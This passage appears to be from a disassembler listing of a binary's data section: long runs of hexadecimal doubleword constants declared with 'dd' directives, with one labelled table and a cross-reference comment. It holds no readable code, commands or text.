		dd 0C5710F79h, 6C811A3Dh, 842BE782h, 50E64558h,	64C8700h
		dd 0E1259EE0h, 71584877h, 0C910FFD5h, 9A9F40F8h, 84B8075Ch
		dd 0CC8D2F38h, 319BFDB8h, 70D12BACh, 7006B139h,	88A6D975h
		dd 0A2F05D25h, 35B74D8h, 8AE88694h, 99977372h, 4200DACh
		dd 2C608ABAh, 1098046Bh, 748212F0h, 64F90B90h, 0E5640CE7h
		dd 0F0618E60h, 8F027873h, 0A9F2367Ch, 5EDC5E04h, 80E51B21h
		dd 99F39FFCh, 0E1723664h, 0E582D805h, 3CE17970h, 51ADDA30h
		dd 74EAA422h, 319C84F4h, 0BC00E0A4h, 0D214EE04h, 0AC1220E3h
		dd 30B49370h, 503B4CDFh, 0A2A01F80h, 2A00D337h,	3326F86Eh
		dd 0F6852E3h, 0AE51649Eh, 5C41ED6Ch, 0C7F29B03h, 810F2662h
		dd 0FC293CD4h, 0A4171800h, 9BD33088h, 9A387F00h, 932EDE57h
		dd 5081741h, 0B2002548h, 0B1821D88h, 6D2A5EC0h,	58B40CECh
		dd 310228DFh, 2DFF092Fh, 1097B044h, 12969450h, 95AA1EAh
		dd 0D889937Ch, 0E5796CD9h, 0C8A36E18h, 95E04B93h, 0AE1E65EDh
		dd 12D62D3Ah, 0F9213804h, 4168E301h, 0F8B204A3h, 0BF304FF2h
		dd 0BC920081h, 0CBD7A12Dh, 6A019F94h, 9BBE34A4h, 0B824820Dh
		dd 0C1F129D1h, 1854D134h, 0F4C50292h, 0C1FD33AAh, 7CE098AFh
		dd 6B097661h, 83C73B07h, 54A0EFE7h, 8C0407h, 0E0325B4Eh
		dd 0DA84C286h, 5880B74Dh, 496300D8h, 723F6554h,	14D612EBh
		dd 0CC981705h, 564BDA4Ch, 0D4C85CD0h, 374C0084h, 0AE6F7871h
		dd 0CC7EC668h, 0C0470524h, 0D4CEC404h, 9587FC81h, 108C2F2Fh
		dd 80C064EEh, 0D93A1E19h, 0F0508326h, 338CE51Dh, 0B6B4AEEAh
		dd 1D465E48h, 0AC3DF000h, 1F474082h, 0E423CA12h, 0B8F150F5h
		dd 0B0961200h, 6038A12Dh, 51B9E18h, 7D696E16h, 0B1DC47ACh
		dd 0D2818477h, 0FCE01560h, 0CA17DDA7h, 549ABD10h, 0AA1CEEC0h
		dd 48A314ACh, 0C0085782h, 9892D907h, 191BFCC0h,	942890E0h
		dd 45E31CECh, 0A0D14BDDh, 705767Ch, 25017BDBh, 48FA4F4h
		dd 5BEFD34Ah, 6D6CF433h, 9C9ECCB8h, 0C0B77F0Ch,	0E4C8C814h
		dd 0B6040F8Ah, 0A402A116h, 7E62EAA2h, 9E00DCE8h, 0F395D835h
		dd 72B546EDh, 0A2554EDFh, 0CE007060h, 0E6A7A1D1h, 57DBDEh
		dd 0FC82B183h, 9B3986B6h, 9381560Fh, 0C8E68AF3h, 0C7418549h
		dd 40A2C825h, 0A9301CF2h, 0E43093Eh, 30E84D1Bh,	0D400E6F1h
		dd 0E9951C50h, 6D255BDh, 0A5716D4Bh, 0F2670B4h,	56118C47h
		dd 7F011D07h, 0D19B804Ah, 61E5507h, 4B025B5Dh, 0B7D5B323h
		dd 0A21B8C9Ch, 0CB6BDC42h
		dd 94040319h, 0F6BCB0F5h, 13CC4E31h, 0D198E1CCh, 0E0E205FCh
		dd 6F304AF2h, 0CC3F3EADh, 0B3FB8A80h, 0A9B14F8Fh, 8C60C024h
		dd 54FDE944h, 0ED5CF1ACh, 4BDF0FD0h, 4717F01Fh,	0BF2102C1h
		dd 909D6709h, 61E51A08h, 0F4C354F2h, 0E014D98h,	781DF97Eh
		dd 6C25B569h, 216A49CDh, 70660994h, 6140CD5Ch, 0CB654BB5h
		dd 0E4C4C4C8h, 75EED930h, 0EFDA7D13h, 7A02A45Eh, 0C86BB319h
		dd 5C03858h, 2D47DDF7h,	0C86F1Eh, 9D7A1A38h, 13344794h
		dd 1A8D9693h, 2C5ED64Ch, 0CC54C692h, 0B093CA8h,	0C4ED517Bh
		dd 88E5E824h, 6440E8A9h, 4F8CEC96h, 0F76C221Eh,	0FC642Bh
		dd 0FA91D47Bh, 9338ACDBh, 3014AA00h, 0E4DF05F3h, 0A89D0041h
		dd 8179748Ah, 18060A08h, 0C0D9A0E8h, 788CB391h,	74072CDFh
		dd 6A7ED211h, 0D8F68833h, 5280516h, 9EAC22D1h, 0A9DC02C5h
		dd 5CD044A1h, 0E9971212h, 0C010202Fh, 535CC0E4h, 4354C75h
		dd 0C99E1CA5h, 28B8FBh,	0DC093C56h, 4B22CD59h, 0A92420E5h
		dd 3481B97Ch, 0E0309C31h, 0A5FA885Eh, 0F52CFF1Dh, 302AA941h
		dd 1EE15423h, 97B5E7C0h, 0C208941Dh, 567762E4h,	6962D486h
		dd 923DE09h, 0E130E81Dh, 14C89DA6h, 0C900CF5Eh,	0FD2E673Fh
		dd 95B7224h, 9CA94AEFh,	44B59C60h, 4D79A70Ch, 0B86B1142h
		dd 0D93F3F8Ch, 0D000985Ch, 6C298EB0h, 48641144h, 0CCF93C68h
		dd 2CA99C09h, 7CC90461h, 0E51010B0h, 145C3884h,	26E81234h
		dd 8B53B4C8h, 0E38D5825h, 779BE29Ch, 3A001014h,	98C6F121h
		dd 31E19EE2h, 0C54819B7h, 0C40C386Ah, 740D052Fh, 282F7A38h
		dd 5A135123h, 22C5F889h, 0F73EA0C7h, 0F26A0041h, 12AB6A8h
		dd 995B98EEh, 10044412h, 38ACD0A9h, 9DE52B00h, 9FD9318Ah
		dd 9150179Dh, 0E625871Dh, 0B059A303h, 6FFBD19Eh, 31C0D811h
		dd 95325C18h, 0E80431D3h, 6CC07A8Ah, 5D4DF19Dh,	2F4F2498h
		dd 0EE8239Ch, 0DCC3936Ah, 6C699E7Bh, 605179h, 0E236D270h
		dd 74FA424Ch, 0C84645Eh, 2188B8CEh, 0FDDC8BC0h,	308D506Fh
		dd 0DCEC94E4h, 0E1389900h, 43328CA0h, 0CA114B1h, 293EC848h
		dd 16F789Eh, 1970C566h,	0ECFC2C60h, 29028CE8h, 3D9B5FA7h
		dd 1F947824h, 58C5670Ch, 2F314992h, 44DCA92Fh, 4F181604h
		dd 90381841h, 76486025h, 0B7F11080h, 80365C14h,	0AD701782h
		dd 0E8043054h, 0DCC1F17Eh, 0B804E461h, 8CC4BC50h, 2C397104h
		dd 78B0929Fh, 0B8E0658Ch, 54880D61h, 6B3441B9h,	0EC677AC1h
		dd 7BD9F650h, 0F9D3C44h, 66C8CC4Ah, 25F99B25h, 2CA83A3Ch
		dd 7C8C51BCh, 41DC1A0Fh, 684089CCh, 234BA943h, 30849043h
		dd 6FE4E7h, 0BFF3F190h,	95E9FD12h, 7804035h, 8BA135BFh
		dd 0CDBC02B2h, 1D4DBE4Bh, 4F53D920h, 0C8C90048h, 0DFF0F16Bh
		dd 1B62CD43h, 80A113C0h, 494C696Ch, 0C29D73h, 6FB4987Fh
		dd 280D60A1h, 349D0776h, 40617231h, 0B02313F1h,	3E3120E2h
		dd 4C8CD2DCh, 824BC530h, 0A0ABCB0Ch, 4DD16871h,	0C9004418h
		dd 0DD699AA4h, 0C5839923h, 90364DA8h, 97D21E7Ch, 0D00B175Ah
		dd 2C44C1FCh, 0A94C05D2h, 0F22A00C0h, 0D770FAACh, 0A9761257h
		dd 0C43C310Fh, 34A0E59Eh, 0F7055740h, 0D6325BD3h, 0D98438F8h
		dd 55949CDFh, 10A8C09Dh, 43492C42h, 0B2EC893Ch,	0B59FB802h
		dd 0A99E5C7Eh, 646450D6h, 185FF8C1h, 0F8494B01h, 39F959DDh
		dd 16EB858h, 330B7ACBh,	6F25344Eh, 0EF927C05h, 53F9004h
		dd 0CF4CB500h, 7F02487Ah, 9B7BDA83h, 9DA88958h,	801A111Ch
		dd 0B7EAC975h, 2795A43h, 19696DA0h, 0FE09ECD4h,	0E16C2F55h
		dd 526AF2A3h, 71390432h, 9451E1E9h, 1518E579h, 32253D02h
		dd 7675EC60h, 0B0CA4078h, 1A028B99h, 23C62E69h,	172860AFh
		dd 991C925Ah, 0E37D00E0h, 93D3853Eh, 0CCF6D02Ah, 41680F0Ah
		dd 0ED41F4C4h, 3072E222h, 8CA9B104h, 3F3C0252h,	76D05ECEh
		dd 65005146h, 97424903h, 0B0B8CDECh, 1E02944h, 47D092D5h
		dd 7819210Fh, 8C4DBC0Ch, 598F2800h, 200352B5h, 0DDFF059Ch
		dd 4A7EC97Bh, 82A8A484h, 1F8BDA84h, 1940A044h, 7CACBCBCh
		dd 0FB002046h, 0DC4A7D46h, 0A913A0CCh, 2CD12924h, 3C015A8Ch
		dd 0DE4864ABh, 84587B7Ch, 11608870h, 32140954h,	0EF941848h
		dd 0F640D61Fh, 4BBE078h, 7864B5A8h, 648BF402h, 0D5946AF0h
		dd 0FE377490h, 0B48A83Dh, 377F2A1Dh, 5C2E0034h,	0E1CD663Dh
		dd 21FBBB14h, 975509F8h, 0B248412Bh, 7D9B6810h,	0C7802251h
		dd 0F84C5CA0h, 2F445B5h, 833D4BDEh, 2EDD5500h, 127C7885h
		dd 1140D25h, 0C8A210F9h, 9DB0535Fh, 67123805h, 0FC41B59Bh
		dd 8FD27CC3h, 4F3C026Bh, 0F0DAEB49h, 1A63C910h,	0A15C0F7Bh
		dd 4AF043D9h, 437BA82Fh, 0E3800E4h, 3DA4CECBh, 0C5C85AE3h
		dd 23683B6Ch, 53D40050h, 7AD76CD9h, 291CB700h, 782B0F2Fh
		dd 0C8594BBDh, 0E6000CD0h, 4D6BC702h, 0CDAFB9h,	0CECAA495h
		dd 0A0E755D1h, 8D40E101h, 7A066321h, 0EF02EFECh, 0B594042Fh
		dd 0D0D4D0B9h, 0E003314Eh, 0EBA79C7Eh, 0AE0EA0E3h, 4CEC0588h
		dd 0E979A241h, 730F0098h, 53A962E8h, 2EA1F607h,	4BC8CC2Dh
		dd 5180C000h, 755F7BE8h, 68B86C24h, 2C49FC10h, 0B913859Eh
		dd 6608BCF9h, 4C9EDD3Dh, 33287F08h, 69C18E10h, 28CC04B4h
		dd 80B372C1h, 8D314149h, 10395942h, 24A100F6h, 0C0B458CEh
		dd 175908h, 0AF6EDBDFh,	3D317F75h, 7EA1A85Eh, 1E84887Ch
		dd 20F616E5h, 4A2952E0h, 0EA2D8600h, 370288C6h,	204F285Eh
		dd 0C5245F80h, 0C8C4CB54h, 0BE70C3EEh, 2E1333A8h, 82F7B01h
		dd 0F737D19Eh, 726E6835h, 98A98EA0h, 9070FCF3h,	0FB5E4CCEh
		dd 6AB70976h, 58F03BC6h, 581E3920h, 887318E5h, 97096649h
		dd 0C4B538A9h, 7C044D44h, 0E7BCEC49h, 6BC06D00h, 0E369E5FCh
		dd 935FACBh, 0B7ED16Fh,	81086059h, 9CF92766h, 6A66301h
		dd 0BCFCD8A5h, 6F890276h, 4CEE8A34h, 54943846h,	0F0465Eh
		dd 157CCE8Ah, 17AA9513h, 0E34D7922h, 0C9770C5Ch, 17E0A153h
		dd 90F07543h, 79490420h, 0A007094Bh, 2795327Eh,	992AC4D0h
		dd 4000970Dh, 6A480611h, 81AB8800h, 3CFE7D25h, 0E82F4CEBh
		dd 0F4178FC7h, 0E80C855Ch, 629F0590h, 34CEB11Fh, 0FDC0EF88h
		dd 3EE0ADCCh, 4C82614Eh, 9F3422A6h, 0C7216860h,	0D4FC9684h
		dd 59DA1A2Dh, 0C5CA0254h, 0A8F04B41h, 20CD7B17h, 68E5CC20h
		dd 34231E3Dh, 5F120182h, 48EF9D9Bh, 0F098DFA0h,	98881741h
		dd 0DE03A84Dh, 26226933h, 0A7C06819h, 53441447h, 0B703E160h
		dd 292770FEh, 1B8868DFh, 0CC398360h, 42D12D5Eh,	268D998h
		dd 14C61D0Dh, 5A9664C0h, 0A40C4C03h, 0E2A825C5h, 8E10D493h
		dd 5454833h, 94884081h,	34BECE84h, 48B968D2h, 62961316h
		dd 94A06D88h, 325541F7h, 3C9C62FBh, 25054498h, 5CD9C556h
		dd 0ACFD3A00h, 55A1A17h, 74062C0Eh, 0E80CF8EAh,	0C5028C4Dh
		dd 0C96955F5h, 3DE8E002h, 1521C063h, 0DC0EC11h,	65663614h
		dd 98032AC8h, 10B19DFEh, 0A27EE809h, 13EE65B4h,	0D6DE60FCh
		dd 0B84F2F0Dh, 0D5F44816h, 71EBD600h, 0CF69480Ah, 0A452000Fh
		dd 4B15A37h, 74FD41A1h,	2D2E340Ch, 0E06E74B7h, 7ED5AC09h
		dd 20CB4BD2h, 325C12A4h, 9138F20h, 0A9897177h, 2EE8C49h
		dd 7CCCD452h, 82E4DD21h, 0BE42ECB2h, 855708C0h,	0A1173879h
		dd 3091B71Ch, 909FAF40h, 0BE800421h, 1050E9CFh,	9402191Dh
		dd 4E078C9Eh, 36D021DFh, 1E70DFF6h, 0A24C0221h,	299BDDA3h
		dd 2F6C05DDh, 759C04BAh
		dd 996D0122h, 9C7BA549h, 0AA157704h, 4AC8AEFDh,	0B9E0C8E6h
		dd 84017856h, 9ECAE033h, 496F3F92h, 0C0524C68h,	0B800FCE6h
		dd 0FD81A793h, 0BE1114h, 0AD456CC7h, 289FF8F4h,	0C93F3500h
		dd 0C247540Fh, 314B4E4Ch, 12DFE1ECh, 7978D26Eh,	80EB0118h
		dd 0B563109Fh, 366BFC24h, 0A4B24500h, 6A959091h, 0DD4D345Ah
		dd 6F6C9089h, 0C516680Ch, 74D08071h, 83B2CC31h,	216B7811h
		dd 4D82AC06h, 0A8BE41FDh, 75DE8340h, 437A26h, 3AFD8C94h
		dd 0F2BAB838h, 0A293FE04h, 94E4A684h, 39AC6098h, 9F5D3D5Ch
		dd 494C8B06h, 9668247Fh, 0A000DC10h, 391769Ah, 446F5866h
		dd 987BB5DAh, 0F062B14Bh, 1CCD2B0Dh, 63F1D9C0h,	153E630h
		dd 73A11250h, 6A6D68F7h, 689B1C4Eh, 9A4D0C1Ch, 3CBC3BA9h
		dd 0F48C2E80h, 28BDBE07h, 0FCB3068Bh, 4144C26h,	8C1BE8h
		dd 892561FCh, 45A623BEh, 647C7B70h, 713F5A03h, 0C0C6F411h
		dd 4E31E3D2h, 0AF64C2A3h, 950D6910h, 0C5B56001h, 0E8906E4Ch
		dd 7473EB28h, 0B9400F8h, 0AF9AD1FBh, 1900CEA5h,	0D5ED903Fh
		dd 2E4E663h, 0A177579Dh, 0F00BB491h, 0D0609754h, 0C0905AC5h
		dd 4D80817Dh, 226B5EC6h, 5090DA8h, 0D8C31740h, 649900CAh
		dd 78ED363Ah, 0D21337ADh, 1482D3FBh, 0C99C2059h, 28B61157h
		dd 0F80DDCFh, 0FE2A3DD4h, 189FBFF6h, 60E4C008h,	0ED1300Ch
		dd 51545C27h, 0E9948084h, 952C8FFAh, 2FC88958h,	3A24E833h
		dd 0D76B02A9h, 17E17016h, 0FD7BE800h, 4C44B780h, 349B8D74h
		dd 0EAA15D8h, 20D87140h, 1CD7A720h, 137864D5h, 0E878E103h
		dd 0D22EE7F8h, 94E46Fh,	8D7DF33Dh, 1D6AA1DAh, 0DF7B3412h
		dd 380E8EDh, 7D36B579h,	5A1CA48h, 951406DFh, 0E0764CE9h
		dd 0C46097E7h, 0C70BB1EAh, 76723EB8h, 0AE656048h, 7A17AB14h
		dd 7830D9B9h, 4A9611FDh, 0C3489AE9h, 0B4713094h, 0AF48C0A8h
		dd 0C0214B72h, 7F2BC540h, 60E84D97h, 0B54CBF88h, 0C33D7013h
		dd 43720CE4h, 58FC3A61h, 43C4F8D0h, 0BF6E00E4h,	0B66A0D46h
		dd 9DED733Ah, 0E5B4ACA2h, 7549CF00h, 0EC22B554h, 4F00B27Fh
		dd 0B659BCA1h, 9C41A530h, 688F2B65h, 55C75088h,	4B34D440h
		dd 88C625C1h, 0E6E81490h, 0C9937C00h, 0A0DD4CDCh, 0CC2C0178h
		dd 0C0A94F67h, 2589BB46h, 44B04640h, 73093817h,	41CDC8E3h
		dd 7C65EDDCh, 8130DE2Eh, 0BBF9D504h, 23CC82Bh, 0DD53AF00h
		dd 1D447D8Ch, 8EC9E785h, 0F9955470h, 414F0F00h,	0B0562531h
		dd 807DC83Ch, 6673D1Dh,	0C0BEC033h, 0ED65C508h,	20792F64h
		dd 2E00EA2Ch, 0C217BDDDh, 0F0050070h, 1B3C1819h, 75034189h
		dd 6C7CD2E5h, 2824B24h,	0B8FDA000h, 0CB44AE5Fh,	64B06780h
		dd 0ADB36126h, 16ACA9D4h, 4DE8CF2h, 16653B8h, 467CA46h
		dd 0E055C097h, 49133238h, 788866D5h, 0EC408A78h, 4E97C045h
		dd 2AB91730h, 0BA2C0005h, 352E4928h, 0C4EE1000h, 764145FCh
		dd 0B2E73D08h, 0C29A5B00h, 54AA7C15h, 0B578EA60h, 0AA5E853Ah
		dd 79B8E8B0h, 0E48E635h, 1839B3D0h, 0A17D19E7h,	708FD106h
		dd 0C740C1ECh, 136A1224h, 0F2A0E296h, 4AF530C2h, 0BEE0A919h
		dd 16105D81h, 1900F6D9h, 9D76CBA1h, 91EE77E1h, 0D4A12FA4h
		dd 785AF393h, 38CE83C8h, 0DE7E88E3h, 0A06C967Bh, 0B611209Ch
		dd 0AF9A342Fh, 5B13A90Ch, 7B3ED044h, 0B1103C30h, 95794F05h
		dd 319ED821h, 57B196ACh, 2B6B9C9Dh, 1D5323E0h, 0D4F55DB0h
		dd 2F001C9Fh, 2654B2A9h, 1069A1C9h, 98CE679h, 0D48B5A36h
		dd 141DA456h, 80F44604h, 0AD1FB0F8h, 0DA6181FDh, 2A26077Bh
		dd 9BA19C03h, 2DA83EFEh, 70960F00h, 648453A9h, 5B2C8600h
		dd 30FCE31Eh, 0E3314E0Dh, 0E171258Ch, 56AA524h,	338FB898h
		dd 0C6E01ECCh, 0D092FC70h, 80ECB095h, 0E81A9711h, 0B89D1C1Bh
		dd 0BA1610F8h, 1C80B709h, 0C448EC89h, 5A0588EEh, 19EB4149h
		dd 5B58428h, 44A99755h,	15383117h, 99F9841Ch, 71FF1BFh
		dd 0EBD16F87h, 6716B0D8h, 0CC98B3E3h, 5F7CA271h, 992C6480h
		dd 98BFA2D1h, 6023E0F8h, 177A127h, 0ACAAACBEh, 78BC247Dh
		dd 0B70284C7h, 1120942Bh, 0D48F193h, 90146DC9h,	9C0D2BF0h
		dd 0D3BF02B0h, 0A888CBA6h, 1A226570h, 54D1E190h, 515E2488h
		dd 78F06071h, 82B2D500h, 0E51784E0h, 499B18DDh,	9EE14015h
		dd 0DC08F807h, 89B0135Dh, 376B81Bh, 0D250E57h, 0E3905365h
		dd 9E3745FDh, 1200204Ah, 0E4DEDDC0h, 0B6360264h, 1559F449h
		dd 30275060h, 69ACE8BDh, 810A0EE3h, 66807005h, 682DFCFDh
		dd 5ADC8E00h, 8924C91Dh, 254A038Dh, 0DD550F2Ah,	0E4B3A6E8h
		dd 80DC08B4h, 55CDDA2h,	9F76A5Ah, 4E0829Ch, 979550F8h
		dd 0E51B8898h, 0EC768460h, 324102BFh, 0B2B3A286h, 11C810FDh
		dd 602B0035h, 6C6D8D94h, 0C9E8DB20h, 0D9E68000h, 363531E4h
		dd 0FDD51977h, 0E056592Ch, 12264088h, 0AE074478h, 30E00508h
		dd 12DD51EAh, 21CEABCDh, 70886718h, 11C06128h, 1DAAC4DFh
		dd 6FC61297h, 0DD083AEh, 19711018h, 4529599h, 5BE51EF4h
		dd 5094AD31h, 28AD662Ch, 0F8667608h, 0EE097657h, 72335BDDh
		dd 222F248h, 0E75EC823h, 85F7B1A4h, 0B440B36Ch,	57591A30h
		dd 401F5688h, 2324C282h, 404FCCDEh, 0CDE00B18h,	639B0BC3h
		dd 50FA480Dh, 61763C25h, 0BC222EE0h, 633CAD74h,	41AD6EC6h
		dd 7AA87EA4h, 885468E5h, 5934A1B0h, 0C0DF0BDCh,	80B7DE0h
		dd 0C21893F1h, 1ED15E3Ch, 1C440077h, 9EAAB4DFh,	48A220FCh
		dd 9D46BC3Ch, 8A95CCDDh, 2B741278h, 60B4894Bh, 506440EEh
		dd 5C3986F1h, 50611238h, 844354A5h
dword_4E414C	dd 1DE13244h, 9823677Eh, 253171B1h, 240E4Ch, 62F57DFBh
					; DATA XREF: ___:off_43ACE4o
		dd 0FFE2990h, 6512E29Ah, 701392h, 673C2420h, 20BF70C5h
		dd 0B19596D4h, 8611B077h, 0BC305220h, 97A6F0Ch,	8F481898h
		dd 17E44D9Ch, 14F8C61Ah, 0C07D4612h, 12B33CFCh,	60B2EF5Ah
		dd 93587FBAh, 0CF7A1304h, 41ADF806h, 98733110h,	8CBA0608h
		dd 8CA2918h, 6229C493h,	7CB3049Ah, 8701706h, 20CC1030h
		dd 0F8221288h, 0F699407Bh, 1518F866h, 4D3E3239h, 4703DF31h
		dd 0B0101033h, 96D33D5h, 78068CBDh, 7FFC2067h, 7DF708C4h
		dd 1519BC0Ch, 6E4C6340h, 0FB0C30DAh, 5F625508h,	3F1EE18h
		dd 104C31A8h, 620863AAh, 0B11832FCh, 41230E59h,	74C01010h
		dd 0B8331048h, 18117F19h, 30E9881Bh, 214C1B17h,	818C49Bh
		dd 0B238925Ah, 8908C424h, 216A0C2Bh, 3469C6B0h,	8731085Dh
		dd 0F5E618A2h, 90720895h, 8852E18h, 5E818B26h, 0A6589452h
		dd 33095AC8h, 9618263Eh, 0C2E88910h, 1869C610h,	4910D424h
		dd 0A408C4AFh, 9C0C0ABCh, 10D42995h, 0E510B175h, 495C3137h
		dd 3F029CD8h, 36958CA2h, 18792B03h, 28C9E908h, 5A81342Fh
		dd 8D9DE188h, 871B31Dh,	0BE0174A5h, 7B3092ABh, 4C7F0C44h
		dd 99C47A0Ah, 0E7F9C91Eh, 40531015h, 8BE965FCh,	8C86C44Ah
		dd 0C3F2588h, 0CA086A7Fh, 6440F962h, 9C28022Dh,	0F192B028h
		dd 9BE91446h, 8CBB5418h, 492892C8h, 0B4246036h,	0B2C48C40h
		dd 7E625B08h, 4994B920h, 0C6046664h, 34A889E9h,	180782Ch
		dd 3910CFC5h, 0D7BF10B0h, 10321310h, 0DD18D50Dh, 8E4408D6h
		dd 8C8318C6h, 1AFB3208h, 8483688h, 28DDDD4Ch, 407E93D0h
		dd 79C42F62h, 33062708h, 0DE40716Fh, 0E98A826h,	210CCB4h
		dd 88A87981h, 88928F68h, 0AA082F62h, 46990535h,	84F7988h
		dd 66903220h, 0B1502928h, 48DB3531h, 67037BA9h,	0B038C118h
		dd 0C4A1ED18h, 4DC0E08h, 2C04D01Fh, 44749422h, 0A6869A4h
		dd 0AE88C08Fh, 0BC7115D3h, 10A39819h, 401C24BCh, 0C6C89D40h
		dd 96BC9C1h, 920E4940h,	8D44D90h, 99601226h, 889BF972h
		dd 0CBA5321h, 0DD3861E6h, 62F2B840h, 60E21023h,	0B28869h
		dd 5C089A05h, 0C80883Bh, 0EB7BF337h, 0A3017894h, 70542B38h
		dd 244E1081h, 0C30D81AAh, 0B95B6DC0h, 0C48B3F26h, 66195780h
		dd 25393F2h, 892DC91Eh,	60574AF3h, 2C42491Ch, 6BB8F517h
		dd 0C6F49800h, 0B5006335h, 2FEFBE3h, 4343C01h, 0CA597EBDh
		dd 0BD2B0FD6h, 3638E618h, 0E879014Ah, 4BBB9964h, 0DEB880AEh
		dd 7D3910CAh, 31C23CDDh, 1705F073h, 80B2D0A3h, 0EA96CE8h
		dd 3D52BC06h, 0E438FF06h, 2F100EAAh, 3C84A2DEh,	0D2CA8C7h
		dd 0A9EE7514h, 38541C8h, 0FDBCB71Fh, 1805C3E6h,	0C13CBFB5h
		dd 8A6CD891h, 180FAAC8h, 3804C06Fh, 91070AAFh, 9FEEFF38h
		dd 0FD94E7F0h, 0B1290125h, 955DB7BBh, 590840A5h, 0D5ADB05h
		dd 0DAB7ECD1h, 0EF7C6980h, 9E10A36Bh, 0DB125803h, 52F853Ch
		dd 4D5903C0h, 0E840A1E0h, 0DD0D8E66h, 20ED4E3Ch, 20771081h
		dd 2B303741h, 609A28D0h, 0F8780112h, 584E0740h,	25188C23h
		dd 62E686Ch, 3CF072E8h,	3700E1B1h, 113D6470h, 30D44D86h
		dd 0B310CDFDh, 0DF8384Eh, 0E6702660h, 1BC2271h,	2AAFAC51h
		dd 8FCD20FEh, 0CC4E02C8h, 3A5D68C3h, 2E00E32Fh,	1B56770Ch
		dd 856063FEh, 0AB61DD29h, 5D871D37h, 0BA2A0076h, 64DE837Eh
		dd 0A3E42E07h, 0F2C71BB5h, 12A84880h, 0D09B0A7Ch, 80D854CCh
		dd 0EAD62E36h, 0B0CEB5AFh, 0E4B72034h, 96AC2Ah,	0B86BD2E3h
		dd 0A00C3BFDh, 900EB8CAh, 0DEFE63C0h, 9514786Dh, 60493850h
		dd 40D0A90h, 14001423h,	0D46F55F5h, 0DF4D4060h,	3C111217h
		dd 0D039C490h, 686D0F44h, 2884E8B6h, 0F308003h,	0B2E85E17h
		dd 40F0C4A0h, 2A6140A4h, 7AEA597Eh, 12B8D850h, 40A63AE9h
		dd 38B04E3Eh, 4A294D0h,	0EA4ADE05h, 0DC815237h,	0FAF0C2E6h
		dd 51DD041Eh, 0AAAA6FDFh, 0E86DC003h, 0D539C140h, 0CE0010BFh
		dd 0F2BCB0D1h, 256561E5h, 42803520h, 5B7D64h, 7E5D9F95h
		dd 4E091C9Bh, 90133930h, 9B381D4h, 0A7A1BBB9h, 81B2C024h
		dd 8043FCA0h, 0DD894510h, 1221531h, 0ED887C6Ah,	41FB3CDCh
		dd 0F9D613FCh, 0DEDFD325h, 6F67B581h, 24687C56h, 9108F8CAh
		dd 284F000Eh, 6C8DDCF7h, 1AD90614h, 444510B0h, 1DDF6200h
		dd 0F4B74366h, 60002C90h, 0F01A11C7h, 0BCCE65h,	1F1B15B2h
		dd 275E2E37h, 5D126F00h, 0A0DCD0E6h, 0DFA0179h,	0C1B50EE3h
		dd 31B424F7h, 5272E625h, 27DB02ECh, 0F30D6F0Ch,	7409C8Fh
		dd 56AA5BF2h, 0E8D56600h, 0C0CC2D63h, 6F770B72h, 0DCE802A1h
		dd 521D364Bh, 0C5C0E4D7h, 0FFD0F513h, 0E2FA8028h, 0EF6FA400h
		dd 0B8A2BAF7h, 4EDB0117h, 66652C2Ah, 4C8406Bh, 0E528B26Eh
		dd 6F244874h, 0C00138D2h, 2485FDF7h, 90315420h,	54FE2A20h
		dd 0C449779Ch, 56E4820h, 7009F045h, 4E3C0112h, 34684A42h
		dd 1FBE5BC4h, 1A6D8Bh, 0DD6F41FDh, 8378DE7Ch, 8855FF3Fh
		dd 986057h, 0D864F531h,	7A5036DDh, 0D46204BFh, 831CAF3Ch
		dd 0A0E7BA78h, 0F2B31F32h, 1189201Dh, 0C6706B00h, 60033C7Bh
		dd 0AB982805h, 0FD006F10h, 6512087Dh, 3DD2DBF0h, 0F8000CDCh
		dd 3CAC0D1Bh, 0B092A590h, 843F0102h, 60372716h,	0E056B6B0h
		dd 9C98C1D5h, 452A3882h, 94981254h, 8A040E0h, 86E52ECFh
		dd 5CA5EF18h, 74180E9h,	0B2BF4801h, 0A7942099h,	8A00B316h
		dd 8057377Eh, 63C508h, 2E7B125Fh, 4DF9E728h, 68CBCF31h
		dd 0E5F535BBh, 78764C62h, 2CF10972h, 0D478EEFEh, 304E080Ch
		dd 528A947h, 0E73B6E12h, 24F4278Dh, 0FE3CC8DBh,	18B91D30h
		dd 4231BCh, 6A3B0192h, 3CF44E18h, 70C0157Eh, 48952017h
		dd 2C6B0C7h, 0B71080CEh, 8460BE54h, 0BB80A9ADh,	26FC9634h
		dd 0B30897Ch, 60889007h, 0FF14D876h, 8563828h, 0A8E4302Ch
		dd 0E0C63C09h, 306F1B20h, 5A82FA4h, 77260FACh, 0B408E44Dh
		dd 583109A8h, 74764802h, 83594041h, 710480D0h, 0D185C3BAh
		dd 11808243h, 182B310Dh, 1012FAB8h, 50042984h, 0BA12481Ch
		dd 0D2DC3000h, 1E5811B4h, 206EFE16h, 0E4E44F51h, 0F8028C20h
		dd 366FC732h, 3E006067h, 14F40FEFh, 4064125Bh, 0E8E08089h
		dd 8F3C3422h, 0A889CE65h, 0F27E081h, 2322F0EEh,	0C87B2904h
		dd 0C8F3680h, 1C664F67h, 0B06856D0h, 2416FF40h,	0F5587CFEh
		dd 0E7C110C8h, 5978B454h, 0BBC2C018h, 104A07F9h, 10276840h
		dd 102F3728h, 6F166106h, 1F107A53h, 41ECCCD5h, 5CFDA634h
		dd 0EEA84322h, 0A94C1BF3h, 0B4790020h, 0AFBDC623h, 0CC432C3Ch
		dd 0BC28A9C8h, 182590h,	0D612489Ch, 4194CBBh, 29FE7DCAh
		dd 474C90EAh, 0AC5CBE64h, 1B861F58h, 6FB5F601h,	80348DC4h
		dd 3BC81CCEh, 86023B43h, 8EED14E6h, 2B0CC871h, 464D8E0h
		dd 0D56ED7DEh, 6A901960h, 8CA06D08h, 5700BF3Eh,	0CCD60260h
		dd 2E34C71Bh, 966445F8h, 1898439Fh, 0A6D01C79h,	104D4E0Fh
		dd 0B184005Ch, 4147C012h, 7830F749h, 214942Bh, 80540B7Bh
		dd 0CEC9AA60h, 4D9DA400h, 7A5967DEh, 0C540C0ECh, 82CB1AFCh
		dd 0BC3F1600h, 0EDEE32BAh, 370D07D5h, 0E0122F56h, 59927C9Dh
		dd 0B366D16h, 0D98564D0h, 6F130B4Fh, 0B020C5F2h, 0F687FDAEh
		dd 3D0680C0h, 79454Bh, 81F39DCAh, 0FB625B9Eh, 2CE0403h
		dd 13BB526Fh, 4DFE339h,	0C8A09414h, 0FD264F50h,	70000C9Dh
		dd 236F60D8h, 0D9C0A98Ah
		dd 8473A84Ch, 6586B48h,	15D8CC5Ah, 7B3C1220h, 0E74400BCh
